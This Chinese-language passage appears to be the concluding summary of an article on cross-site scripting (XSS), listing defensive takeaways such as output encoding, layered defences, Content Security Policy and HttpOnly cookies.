XSS漏洞非常常见且危险,尤其是存储型XSS,可能影响大量用户 简单的黑名单过滤很容易被绕过,需要采用多层次防御策略 根本的解决方案是输出编码,确保用户输入不被浏览器解释为代码 CSP和HttpOnly Cookie提供了额外的防护层,减少漏洞被利用后的影响 安全是一个过程,需要持续的关注和测试 最重要的是:在实际开发中,应该始终对用户输入进行严格验证,并对输出进行适当编码,这是防止XSS攻击最有效的方式。 希望本文能帮助您理解XSS漏洞的原理、利用方式和防御方法,在今后的开发和测试工作中更好地应用这些知识。记住,安全不是一次性的工作,而是一个持续的过程。